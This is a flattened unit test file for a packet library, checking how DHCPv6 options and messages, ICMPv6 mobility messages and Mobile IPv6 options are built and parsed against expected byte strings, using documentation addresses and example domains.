raw(DHCP6OptRelayAgentERO()) == b'\x00+\x00\x04\x00\x17\x00\x18' = DHCP6OptRelayAgentERO - optlen field computation raw(DHCP6OptRelayAgentERO(reqopts=[1,2,3,4])) == b'\x00+\x00\x08\x00\x01\x00\x02\x00\x03\x00\x04' = DHCP6OptRelayAgentERO - instantiation with empty list raw(DHCP6OptRelayAgentERO(reqopts=[])) == b'\x00+\x00\x00' = DHCP6OptRelayAgentERO - Basic dissection a=DHCP6OptRelayAgentERO(b'\x00+\x00\x00') a.optcode == 43 and a.optlen == 0 and a.reqopts == [23,24] = DHCP6OptRelayAgentERO - Dissection with specific value a=DHCP6OptRelayAgentERO(b'\x00+\x00\x08\x00\x01\x00\x02\x00\x03\x00\x04') a.optcode == 43 and a.optlen == 8 and a.reqopts == [1,2,3,4] ############ ############ + Test DHCP6 Option LQ Client Link = DHCP6OptLQClientLink - Basic Instantiation raw(DHCP6OptLQClientLink()) == b'\x000\x00\x00' = DHCP6OptLQClientLink - Basic Dissection a = DHCP6OptLQClientLink(b"\x000\x00\x00") a.optcode == 48 and a.optlen == 0 and a.linkaddress == [] = DHCP6OptLQClientLink - Instantiation with specific values (1 address) raw(DHCP6OptLQClientLink(linkaddress=["2001:db8::1"])) == b'\x000\x00\x10 \x01\r\xb8\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01' = DHCP6OptLQClientLink - Dissection with specific values (1 address) a = DHCP6OptLQClientLink(b'\x000\x00\x10 \x01\r\xb8\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01') a.optcode == 48 and a.optlen == 16 and len(a.linkaddress) == 1 and a.linkaddress[0] == "2001:db8::1" = DHCP6OptLQClientLink - Instantiation with specific values (2 addresses) raw(DHCP6OptLQClientLink(linkaddress=["2001:db8::1", "2001:db8::2"])) == b'\x000\x00 \x01\r\xb8\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01 \x01\r\xb8\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x02' = DHCP6OptLQClientLink - Dissection with specific values (2 addresses) a = DHCP6OptLQClientLink(b'\x000\x00 \x01\r\xb8\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01 \x01\r\xb8\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x02') a.optcode == 48 and a.optlen == 32 and len(a.linkaddress) == 2 and a.linkaddress[0] == "2001:db8::1" and a.linkaddress[1] == "2001:db8::2" ############ ############ + Test DHCP6 Option - Boot File URL = DHCP6OptBootFileUrl - Basic Instantiation raw(DHCP6OptBootFileUrl()) == b'\x00;\x00\x00' = DHCP6OptBootFileUrl - Basic Dissection a = DHCP6OptBootFileUrl(b'\x00;\x00\x00') a.optcode == 59 and a.optlen == 0 and a.optdata == b"" = DHCP6OptBootFileUrl - Instantiation with specific values raw(DHCP6OptBootFileUrl(optdata="http://wp.pl/file")) == b'\x00;\x00\x11http://wp.pl/file' = DHCP6OptBootFileUrl - Dissection with specific values a = DHCP6OptBootFileUrl(b'\x00;\x00\x11http://wp.pl/file') a.optcode == 59 and a.optlen == 17 and a.optdata == b"http://wp.pl/file" ############ ############ + Test DHCP6 Option - Client Arch Type = DHCP6OptClientArchType - Basic Instantiation raw(DHCP6OptClientArchType()) raw(DHCP6OptClientArchType()) == b'\x00=\x00\x00' = DHCP6OptClientArchType - Basic Dissection a = DHCP6OptClientArchType(b'\x00=\x00\x00') a.optcode == 61 and a.optlen == 0 and a.archtypes == [] = DHCP6OptClientArchType - Instantiation with specific value as just int raw(DHCP6OptClientArchType(archtypes=7)) == b'\x00=\x00\x02\x00\x07' = DHCP6OptClientArchType - Instantiation with specific value as single item list of int raw(DHCP6OptClientArchType(archtypes=[7])) == b'\x00=\x00\x02\x00\x07' = DHCP6OptClientArchType - Dissection with specific 1 value list a = DHCP6OptClientArchType(b'\x00=\x00\x02\x00\x07') a.optcode == 61 and a.optlen == 2 and a.archtypes == [7] = DHCP6OptClientArchType - Instantiation with specific value as 2 item list of int raw(DHCP6OptClientArchType(archtypes=[7, 9])) == b'\x00=\x00\x04\x00\x07\x00\x09' = DHCP6OptClientArchType - Dissection with specific 2 values list a = DHCP6OptClientArchType(b'\x00=\x00\x04\x00\x07\x00\x09') a.optcode == 61 and a.optlen == 4 and a.archtypes == [7, 9] ############ ############ + Test DHCP6 Option - Client Network Inter Id = DHCP6OptClientNetworkInterId - Basic Instantiation raw(DHCP6OptClientNetworkInterId()) raw(DHCP6OptClientNetworkInterId()) == b'\x00>\x00\x03\x00\x00\x00' = DHCP6OptClientNetworkInterId - Basic Dissection a = DHCP6OptClientNetworkInterId(b'\x00>\x00\x03\x00\x00\x00') a.optcode == 62 and a.optlen == 3 and a.iitype == 0 and a.iimajor == 0 and a.iiminor == 0 = DHCP6OptClientNetworkInterId - Instantiation with specific values raw(DHCP6OptClientNetworkInterId(iitype=1, iimajor=2, iiminor=3)) == b'\x00>\x00\x03\x01\x02\x03' = DHCP6OptClientNetworkInterId - Dissection with specific values a = DHCP6OptClientNetworkInterId(b'\x00>\x00\x03\x01\x02\x03') a.optcode == 62 and a.optlen == 3 and a.iitype == 1 and a.iimajor == 2 and a.iiminor == 3 ############ ############ + Test DHCP6 Option - ERP Domain = DHCP6OptERPDomain - Basic Instantiation raw(DHCP6OptERPDomain()) == b'\x00A\x00\x00' = DHCP6OptERPDomain - Basic Dissection a = DHCP6OptERPDomain(b'\x00A\x00\x00') a.optcode == 65 and a.optlen == 0 and a.erpdomain == [] = DHCP6OptERPDomain - Instantiation with specific values (1 domain) raw(DHCP6OptERPDomain(erpdomain=["toto.example.com."])) == b'\x00A\x00\x12\x04toto\x07example\x03com\x00' = DHCP6OptERPDomain - Dissection with specific values (1 domain) a = DHCP6OptERPDomain(b'\x00A\x00\x12\x04toto\x07example\x03com\x00') a.optcode == 65 and a.optlen == 18 and len(a.erpdomain) == 1 and a.erpdomain[0] == "toto.example.com." = DHCP6OptERPDomain - Instantiation with specific values (2 domains) raw(DHCP6OptERPDomain(erpdomain=["toto.example.com.", "titi.example.com."])) == b'\x00A\x00$\x04toto\x07example\x03com\x00\x04titi\x07example\x03com\x00' = DHCP6OptERPDomain - Dissection with specific values (2 domains) a = DHCP6OptERPDomain(b'\x00A\x00$\x04toto\x07example\x03com\x00\x04titi\x07example\x03com\x00') a.optcode == 65 and a.optlen == 36 and len(a.erpdomain) == 2 and a.erpdomain[0] == "toto.example.com." and a.erpdomain[1] == "titi.example.com." ############ ############ + Test DHCP6 Option - Relay Supplied Option = DHCP6OptRelaySuppliedOpt - Basic Instantiation raw(DHCP6OptRelaySuppliedOpt()) == b'\x00B\x00\x00' = DHCP6OptRelaySuppliedOpt - Basic Dissection a = DHCP6OptRelaySuppliedOpt(b'\x00B\x00\x00') a.optcode == 66 and a.optlen == 0 and a.relaysupplied == [] = DHCP6OptRelaySuppliedOpt - Instantiation with specific values raw(DHCP6OptRelaySuppliedOpt(relaysupplied=DHCP6OptERPDomain(erpdomain=["toto.example.com."]))) == b'\x00B\x00\x16\x00A\x00\x12\x04toto\x07example\x03com\x00' = DHCP6OptRelaySuppliedOpt - Dissection with specific values a = DHCP6OptRelaySuppliedOpt(b'\x00B\x00\x16\x00A\x00\x12\x04toto\x07example\x03com\x00') a.optcode == 66 and a.optlen == 22 and len(a.relaysupplied) == 1 and isinstance(a.relaysupplied[0], DHCP6OptERPDomain) and a.relaysupplied[0].erpdomain[0] == "toto.example.com." ############ ############ + Test DHCP6 Option Client Link Layer address = Basic build & dissect s = raw(DHCP6OptClientLinkLayerAddr()) assert(s == b"\x00O\x00\x08\x00\x01\x00\x00\x00\x00\x00\x00") p = DHCP6OptClientLinkLayerAddr(s) assert(p.clladdr == "00:00:00:00:00:00") r = b"\x00O\x00\x08\x00\x01\x00\x01\x02\x03\x04\x05" p = DHCP6OptClientLinkLayerAddr(r) assert(p.clladdr == "00:01:02:03:04:05") ############ ############ + Test DHCP6 Option Virtual Subnet Selection = Basic build & dissect s = raw(DHCP6OptVSS()) assert(s == b"\x00D\x00\x01\xff") p = DHCP6OptVSS(s) assert(p.type == 255) ############ ############ + Test DHCP6 Messages - DHCP6_Solicit = DHCP6_Solicit - Basic Instantiation raw(DHCP6_Solicit()) == b'\x01\x00\x00\x00' = DHCP6_Solicit - Basic Dissection a = DHCP6_Solicit(b'\x01\x00\x00\x00') a.msgtype == 1 and a.trid == 0 = DHCP6_Solicit - Basic test of DHCP6_solicit.hashret() DHCP6_Solicit().hashret() == b'\x00\x00\x00' = DHCP6_Solicit - Test of DHCP6_solicit.hashret() with specific values DHCP6_Solicit(trid=0xbbccdd).hashret() == b'\xbb\xcc\xdd' = DHCP6_Solicit - UDP ports overload a=UDP()/DHCP6_Solicit() a.sport == 546 and a.dport == 547 = DHCP6_Solicit - Dispatch based on UDP port a=UDP(raw(UDP()/DHCP6_Solicit())) isinstance(a.payload, DHCP6_Solicit) ############ ############ + Test DHCP6 Messages - DHCP6_Advertise = DHCP6_Advertise - Basic Instantiation raw(DHCP6_Advertise()) == b'\x02\x00\x00\x00' = DHCP6_Advertise - Basic test of DHCP6_solicit.hashret() DHCP6_Advertise().hashret() == b'\x00\x00\x00' = DHCP6_Advertise - Test of DHCP6_Advertise.hashret() with specific values DHCP6_Advertise(trid=0xbbccdd).hashret() == b'\xbb\xcc\xdd' = DHCP6_Advertise - Basic test of answers() with solicit message a = DHCP6_Solicit() b = DHCP6_Advertise() a > b = DHCP6_Advertise - Test of answers() with solicit message a = DHCP6_Solicit(trid=0xbbccdd) b = DHCP6_Advertise(trid=0xbbccdd) a > b = DHCP6_Advertise - UDP ports overload a=UDP()/DHCP6_Advertise() a.sport == 547 and a.dport == 546 ############ ############ + Test DHCP6 Messages - DHCP6_Request = DHCP6_Request - Basic Instantiation raw(DHCP6_Request()) == b'\x03\x00\x00\x00' = DHCP6_Request - Basic Dissection a=DHCP6_Request(b'\x03\x00\x00\x00') a.msgtype == 3 and a.trid == 0 = DHCP6_Request - UDP ports overload a=UDP()/DHCP6_Request() a.sport == 546 and a.dport == 547 ############ ############ + Test DHCP6 Messages - DHCP6_Confirm = DHCP6_Confirm - Basic Instantiation raw(DHCP6_Confirm()) == b'\x04\x00\x00\x00' = DHCP6_Confirm - Basic Dissection a=DHCP6_Confirm(b'\x04\x00\x00\x00') a.msgtype == 4 and a.trid == 0 = DHCP6_Confirm - UDP ports overload a=UDP()/DHCP6_Confirm() a.sport == 546 and a.dport == 547 ############ ############ + Test DHCP6 Messages - DHCP6_Renew = DHCP6_Renew - Basic Instantiation raw(DHCP6_Renew()) == b'\x05\x00\x00\x00' = DHCP6_Renew - Basic Dissection a=DHCP6_Renew(b'\x05\x00\x00\x00') a.msgtype == 5 and a.trid == 0 = DHCP6_Renew - UDP ports overload a=UDP()/DHCP6_Renew() a.sport == 546 and a.dport == 547 ############ ############ + Test DHCP6 Messages - DHCP6_Rebind = DHCP6_Rebind - Basic Instantiation raw(DHCP6_Rebind()) == b'\x06\x00\x00\x00' = DHCP6_Rebind - Basic Dissection a=DHCP6_Rebind(b'\x06\x00\x00\x00') a.msgtype == 6 and a.trid == 0 = DHCP6_Rebind - UDP ports overload a=UDP()/DHCP6_Rebind() a.sport == 546 and a.dport == 547 ############ ############ + Test DHCP6 Messages - DHCP6_Reply = DHCP6_Reply - Basic Instantiation raw(DHCP6_Reply()) == b'\x07\x00\x00\x00' = DHCP6_Reply - Basic Dissection a=DHCP6_Reply(b'\x07\x00\x00\x00') a.msgtype == 7 and a.trid == 0 = DHCP6_Reply - UDP ports overload a=UDP()/DHCP6_Reply() a.sport == 547 and a.dport == 546 = DHCP6_Reply - Answers assert not DHCP6_Reply(trid=0).answers(DHCP6_Request(trid=1)) assert DHCP6_Reply(trid=1).answers(DHCP6_Request(trid=1)) ############ ############ + Test DHCP6 Messages - DHCP6_Release = DHCP6_Release - Basic Instantiation raw(DHCP6_Release()) == b'\x08\x00\x00\x00' = DHCP6_Release - Basic Dissection a=DHCP6_Release(b'\x08\x00\x00\x00') a.msgtype == 8 and a.trid == 0 = DHCP6_Release - UDP ports overload a=UDP()/DHCP6_Release() a.sport == 546 and a.dport == 547 ############ ############ + Test DHCP6 Messages - DHCP6_Decline = DHCP6_Decline - Basic Instantiation raw(DHCP6_Decline()) == b'\x09\x00\x00\x00' = DHCP6_Confirm - Basic Dissection a=DHCP6_Confirm(b'\x09\x00\x00\x00') a.msgtype == 9 and a.trid == 0 = DHCP6_Decline - UDP ports overload a=UDP()/DHCP6_Decline() a.sport == 546 and a.dport == 547 ############ ############ + Test DHCP6 Messages - DHCP6_Reconf = DHCP6_Reconf - Basic Instantiation raw(DHCP6_Reconf()) == b'\x0A\x00\x00\x00' = DHCP6_Reconf - Basic Dissection a=DHCP6_Reconf(b'\x0A\x00\x00\x00') a.msgtype == 10 and a.trid == 0 = DHCP6_Reconf - UDP ports overload a=UDP()/DHCP6_Reconf() a.sport == 547 and a.dport == 546 ############ ############ + Test DHCP6 Messages - DHCP6_InfoRequest = DHCP6_InfoRequest - Basic Instantiation raw(DHCP6_InfoRequest()) == b'\x0B\x00\x00\x00' = DHCP6_InfoRequest - Basic Dissection a=DHCP6_InfoRequest(b'\x0B\x00\x00\x00') a.msgtype == 11 and a.trid == 0 = DHCP6_InfoRequest - UDP ports overload a=UDP()/DHCP6_InfoRequest() a.sport == 546 and a.dport == 547 ############ ############ + Test DHCP6 Messages - DHCP6_RelayForward = DHCP6_RelayForward - Basic Instantiation raw(DHCP6_RelayForward()) == b'\x0c\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00' = DHCP6_RelayForward - Basic Dissection a=DHCP6_RelayForward(b'\x0c\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00') a.msgtype == 12 and a.hopcount == 0 and a.linkaddr == "::" and a.peeraddr == "::" = DHCP6_RelayForward - Dissection with options a = DHCP6_RelayForward(b'\x0c\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\t\x00\x04\x03\x01\x00\x00') a.msgtype == 12 and DHCP6OptRelayMsg in a and isinstance(a.message, DHCP6_Request) = DHCP6_RelayForward - Advanced dissection s = b'`\x00\x00\x00\x002\x11@\xfe\x80\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\xff\x02\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x02\x02#\x02#\x002\xf0\xaf\x0c\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\t\x00\x04\x01\x00\x00\x00' p = IPv6(s) assert DHCP6OptRelayMsg in p and isinstance(p.message, DHCP6_Solicit) ############ ############ + Test DHCP6 Messages - DHCP6OptRelayMsg = DHCP6OptRelayMsg - Basic Instantiation raw(DHCP6OptRelayMsg(optcode=37)) == b'\x00%\x00\x04\x00\x00\x00\x00' = DHCP6OptRelayMsg - Basic Dissection a = DHCP6OptRelayMsg(b'\x00\r\x00\x00') a.optcode == 13 and a.optlen == 0 and isinstance(a.message, DHCP6) = DHCP6OptRelayMsg - Embedded DHCP6 packet Instantiation raw(DHCP6OptRelayMsg(message=DHCP6_Solicit())) == b'\x00\t\x00\x04\x01\x00\x00\x00' = DHCP6OptRelayMsg - Embedded DHCP6 packet Dissection p = DHCP6OptRelayMsg(b'\x00\t\x00\x04\x01\x00\x00\x00') isinstance(p.message, DHCP6_Solicit) ############ ############ + Test DHCP6 Messages - DHCP6_RelayReply = DHCP6_RelayReply - Basic Instantiation raw(DHCP6_RelayReply()) == b'\r\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00' = DHCP6_RelayReply - Basic Dissection a=DHCP6_RelayReply(b'\r\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00') a.msgtype == 13 and a.hopcount == 0 and a.linkaddr == "::" and a.peeraddr == "::" ############ ############ + Home Agent Address Discovery = in6_getha() in6_getha('2001:db8::') == '2001:db8::fdff:ffff:ffff:fffe' = ICMPv6HAADRequest - build/dissection p = IPv6(raw(IPv6(dst=in6_getha('2001:db8::'), src='2001:db8::1')/ICMPv6HAADRequest(id=42))) p.cksum == 0x9620 and p.dst == '2001:db8::fdff:ffff:ffff:fffe' and p.R == 1 = ICMPv6HAADReply - build/dissection p = IPv6(raw(IPv6(dst='2001:db8::1', src='2001:db8::42')/ICMPv6HAADReply(id=42, addresses=['2001:db8::2', '2001:db8::3']))) p.cksum = 0x3747 and p.addresses == [ '2001:db8::2', '2001:db8::3' ] = ICMPv6HAADRequest / ICMPv6HAADReply - build/dissection a=ICMPv6HAADRequest(id=42) b=ICMPv6HAADReply(id=42) not a < b and a > b ############ ############ + Mobile Prefix Solicitation/Advertisement = ICMPv6MPSol - build (default values) s = b'`\x00\x00\x00\x00\x08:@\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x92\x00m\xbb\x00\x00\x00\x00' raw(IPv6()/ICMPv6MPSol()) == s = ICMPv6MPSol - dissection (default values) p = IPv6(s) p[ICMPv6MPSol].type == 146 and p[ICMPv6MPSol].cksum == 0x6dbb and p[ICMPv6MPSol].id == 0 = ICMPv6MPSol - build s = b'`\x00\x00\x00\x00\x08:@\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x92\x00(\x08\x00\x08\x00\x00' raw(IPv6()/ICMPv6MPSol(cksum=0x2808, id=8)) == s = ICMPv6MPSol - dissection p = IPv6(s) p[ICMPv6MPSol].cksum == 0x2808 and p[ICMPv6MPSol].id == 8 = ICMPv6MPAdv - build (default values) s = b'`\x00\x00\x00\x00(:@\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x93\x00\xa8\xd6\x00\x00\x80\x00\x03\x04@\xc0\xff\xff\xff\xff\xff\xff\xff\xff\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00' raw(IPv6()/ICMPv6MPAdv()/ICMPv6NDOptPrefixInfo()) == s = ICMPv6MPAdv - dissection (default values) p = IPv6(s) p[ICMPv6MPAdv].type == 147 and p[ICMPv6MPAdv].cksum == 0xa8d6 and p[ICMPv6NDOptPrefixInfo].prefix == '::' = ICMPv6MPAdv - build s = b'`\x00\x00\x00\x00(:@\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x93\x00(\x07\x00*@\x00\x03\x04@@\xff\xff\xff\xff\x00\x00\x00\x0c\x00\x00\x00\x00 \x01\r\xb8\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01' raw(IPv6()/ICMPv6MPAdv(cksum=0x2807, flags=1, id=42)/ICMPv6NDOptPrefixInfo(prefix='2001:db8::1', L=0, preferredlifetime=12)) == s = ICMPv6MPAdv - dissection p = IPv6(s) p[ICMPv6MPAdv].cksum == 0x2807 and p[ICMPv6MPAdv].flags == 1 and p[ICMPv6MPAdv].id == 42 and p[ICMPv6NDOptPrefixInfo].prefix == '2001:db8::1' and p[ICMPv6NDOptPrefixInfo].preferredlifetime == 12 ############ ############ + Type 2 Routing Header = IPv6ExtHdrRouting - type 2 - build/dissection p = IPv6(raw(IPv6(dst='2001:db8::1', src='2001:db8::2')/IPv6ExtHdrRouting(type=2, addresses=['2001:db8::3'])/ICMPv6EchoRequest())) p.type == 2 and len(p.addresses) == 1 and p.cksum == 0x2446 = IPv6ExtHdrRouting - type 2 - hashret p = IPv6()/IPv6ExtHdrRouting(addresses=["2001:db8::1", "2001:db8::2"])/ICMPv6EchoRequest() p.hashret() == b" \x01\r\xb8\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00:\x00\x00\x00\x00" ############ ############ + Mobility Options - Binding Refresh Advice = MIP6OptBRAdvice - build (default values) s = b'\x02\x02\x00\x00' raw(MIP6OptBRAdvice()) == s = MIP6OptBRAdvice - dissection (default values) p = MIP6OptBRAdvice(s) p.otype == 2 and p.olen == 2 and p.rinter == 0 = MIP6OptBRAdvice - build s = b'\x03*\n\xf7' raw(MIP6OptBRAdvice(otype=3, olen=42, rinter=2807)) == s = MIP6OptBRAdvice - dissection p = MIP6OptBRAdvice(s) p.otype == 3 and p.olen == 42 and p.rinter == 2807 ############ ############ + Mobility Options - Alternate Care-of Address = MIP6OptAltCoA - build (default values) s = b'\x03\x10\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00' raw(MIP6OptAltCoA()) == s = MIP6OptAltCoA - dissection (default values) p = MIP6OptAltCoA(s) p.otype == 3 and p.olen == 16 and p.acoa == '::' = MIP6OptAltCoA - build s = b'*\x08 \x01\r\xb8\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01' raw(MIP6OptAltCoA(otype=42, olen=8, acoa='2001:db8::1')) == s = MIP6OptAltCoA - dissection p = MIP6OptAltCoA(s) p.otype == 42 and p.olen == 8 and p.acoa == '2001:db8::1' ############ ############ + Mobility Options - Nonce Indices = MIP6OptNonceIndices - build (default values) s = b'\x04\x10\x00\x00\x00\x00' raw(MIP6OptNonceIndices()) == s = MIP6OptNonceIndices - dissection (default values) p = MIP6OptNonceIndices(s) p.otype == 4 and p.olen == 16 and p.hni == 0 and p.coni == 0 = MIP6OptNonceIndices - build s = b'\x04\x12\x00\x13\x00\x14' raw(MIP6OptNonceIndices(olen=18, hni=19, coni=20)) == s = MIP6OptNonceIndices - dissection p = MIP6OptNonceIndices(s) p.hni == 19 and p.coni == 20 ############ ############ + Mobility Options - Binding Authentication Data = MIP6OptBindingAuthData - build (default values) s = b'\x05\x10\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00' raw(MIP6OptBindingAuthData()) == s = MIP6OptBindingAuthData - dissection (default values) p = MIP6OptBindingAuthData(s) p.otype == 5 and p.olen == 16 and p.authenticator == 0 = MIP6OptBindingAuthData - build s = b'\x05*\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\n\xf7' raw(MIP6OptBindingAuthData(olen=42, authenticator=2807)) == s = MIP6OptBindingAuthData - dissection p = MIP6OptBindingAuthData(s) p.otype == 5 and p.olen == 42 and p.authenticator == 2807 ############ ############ + Mobility Options - Mobile Network Prefix = MIP6OptMobNetPrefix - build (default values) s = b'\x06\x12\x00@\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00' raw(MIP6OptMobNetPrefix()) == s = MIP6OptMobNetPrefix - dissection (default values) p = MIP6OptMobNetPrefix(s) p.otype == 6 and p.olen == 18 and p.plen == 64 and p.prefix == '::' = MIP6OptMobNetPrefix - build s = b'\x06*\x02 \x01\r\xb8\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00' raw(MIP6OptMobNetPrefix(olen=42, reserved=2, plen=32, prefix='2001:db8::')) == s = MIP6OptMobNetPrefix - dissection p = MIP6OptMobNetPrefix(s) p.olen == 42 and p.reserved == 2 and p.plen == 32 and p.prefix == '2001:db8::' ############ ############ + Mobility Options - Link-Layer Address (MH-LLA) = MIP6OptLLAddr - basic build raw(MIP6OptLLAddr()) == b'\x07\x07\x02\x00\x00\x00\x00\x00\x00\x00' = MIP6OptLLAddr - basic dissection p = MIP6OptLLAddr(b'\x07\x07\x02\x00\x00\x00\x00\x00\x00\x00') p.otype == 7 and p.olen == 7 and p.ocode == 2 and p.pad == 0 and p.lla == "00:00:00:00:00:00" = MIP6OptLLAddr - build with specific values raw(MIP6OptLLAddr(olen=42, ocode=4, pad=0xff, lla='EE:EE:EE:EE:EE:EE')) == b'\x07*\x04\xff\xee\xee\xee\xee\xee\xee' = MIP6OptLLAddr - dissection with specific values p = MIP6OptLLAddr(b'\x07*\x04\xff\xee\xee\xee\xee\xee\xee') raw(MIP6OptLLAddr(olen=42, ocode=4, pad=0xff, lla='EE:EE:EE:EE:EE:EE')) p.otype == 7 and p.olen == 42 and p.ocode == 4 and p.pad == 0xff and p.lla == "ee:ee:ee:ee:ee:ee" ############ ############ + Mobility Options - Mobile Node Identifier = MIP6OptMNID - basic build raw(MIP6OptMNID()) == b'\x08\x01\x01' = MIP6OptMNID - basic dissection p = MIP6OptMNID(b'\x08\x01\x01') p.otype == 8 and p.olen == 1 and p.subtype == 1 and p.id == b"" = MIP6OptMNID - build with specific values raw(MIP6OptMNID(subtype=42, id="someid")) == b'\x08\x07*someid' = MIP6OptMNID - dissection with specific values p = MIP6OptMNID(b'\x08\x07*someid') p.otype == 8 and p.olen == 7 and p.subtype == 42 and p.id == b"someid" ############ ############ + Mobility Options - Message Authentication = MIP6OptMsgAuth - basic build raw(MIP6OptMsgAuth()) == b'\x09\x11\x01\x00\x00\x00\x00AAAAAAAAAAAA' = MIP6OptMsgAuth - basic dissection p = MIP6OptMsgAuth(b'\x09\x11\x01\x00\x00\x00\x00AAAAAAAAAAAA') p.otype == 9 and p.olen == 17 and p.subtype == 1 and p.mspi == 0 and p.authdata == b"A"*12 = MIP6OptMsgAuth - build with specific values raw(MIP6OptMsgAuth(authdata="B"*16, mspi=0xeeeeeeee, subtype=0xff)) == b'\t\x15\xff\xee\xee\xee\xeeBBBBBBBBBBBBBBBB' = MIP6OptMsgAuth - dissection with specific values p = MIP6OptMsgAuth(b'\t\x15\xff\xee\xee\xee\xeeBBBBBBBBBBBBBBBB') p.otype == 9 and p.olen == 21 and p.subtype == 255 and p.mspi == 0xeeeeeeee and p.authdata == b"B"*16 ############ ############ + Mobility Options - Replay Protection = MIP6OptReplayProtection - basic build raw(MIP6OptReplayProtection()) == b'\n\x08\x00\x00\x00\x00\x00\x00\x00\x00' = MIP6OptReplayProtection - basic dissection p = MIP6OptReplayProtection(b'\n\x08\x00\x00\x00\x00\x00\x00\x00\x00') p.otype == 10 and p.olen == 8 and p.timestamp == 0 = MIP6OptReplayProtection - build with specific values s = raw(MIP6OptReplayProtection(olen=42, timestamp=(72*31536000)<<32)) s == b'\n*\x87V|\x00\x00\x00\x00\x00' = MIP6OptReplayProtection - dissection with specific values p = MIP6OptReplayProtection(s) p.otype == 10 and p.olen == 42 and p.timestamp == 9752118382559232000 p.fields_desc[-1].i2repr("", p.timestamp) == 'Mon, 13 Dec 1971 23:50:39 +0000 (9752118382559232000)' ############ ############ + Mobility Options - CGA Parameters = MIP6OptCGAParams ############ ############ + Mobility Options - Signature = MIP6OptSignature ############ ############ + Mobility Options - Permanent Home Keygen Token = MIP6OptHomeKeygenToken ############ ############ + Mobility Options - Care-of Test Init = MIP6OptCareOfTestInit ############ ############ + Mobility Options - Care-of Test = MIP6OptCareOfTest ############ ############ + Mobility Options - Automatic Padding - MIP6OptBRAdvice = Mobility Options - Automatic Padding - MIP6OptBRAdvice a = raw(MIP6MH_BU(seq=0x4242, options=[MIP6OptBRAdvice()])) ==b';\x01\x05\x00\x00\x00BB\xd0\x00\x00\x03\x02\x02\x00\x00' b = raw(MIP6MH_BU(seq=0x4242, options=[Pad1(),MIP6OptBRAdvice()])) ==b';\x02\x05\x00\x00\x00BB\xd0\x00\x00\x03\x00\x00\x02\x02\x00\x00\x01\x04\x00\x00\x00\x00' c = raw(MIP6MH_BU(seq=0x4242, options=[PadN(optdata=b'\x00'*0),MIP6OptBRAdvice()])) ==b';\x02\x05\x00\x00\x00BB\xd0\x00\x00\x03\x01\x00\x02\x02\x00\x00\x01\x04\x00\x00\x00\x00' d = raw(MIP6MH_BU(seq=0x4242, options=[PadN(optdata=b'\x00'*1),MIP6OptBRAdvice()])) ==b';\x02\x05\x00\x00\x00BB\xd0\x00\x00\x03\x01\x01\x00\x00\x02\x02\x00\x00\x01\x02\x00\x00' e = raw(MIP6MH_BU(seq=0x4242, options=[PadN(optdata=b'\x00'*2),MIP6OptBRAdvice()])) ==b';\x02\x05\x00\x00\x00BB\xd0\x00\x00\x03\x01\x02\x00\x00\x02\x02\x00\x00\x01\x02\x00\x00' g = raw(MIP6MH_BU(seq=0x4242, options=[PadN(optdata=b'\x00'*3),MIP6OptBRAdvice()])) ==b';\x02\x05\x00\x00\x00BB\xd0\x00\x00\x03\x01\x03\x00\x00\x00\x00\x02\x02\x00\x00\x01\x00' h = raw(MIP6MH_BU(seq=0x4242, options=[PadN(optdata=b'\x00'*4),MIP6OptBRAdvice()])) ==b';\x02\x05\x00\x00\x00BB\xd0\x00\x00\x03\x01\x04\x00\x00\x00\x00\x02\x02\x00\x00\x01\x00' i = raw(MIP6MH_BU(seq=0x4242, options=[PadN(optdata=b'\x00'*5),MIP6OptBRAdvice()])) 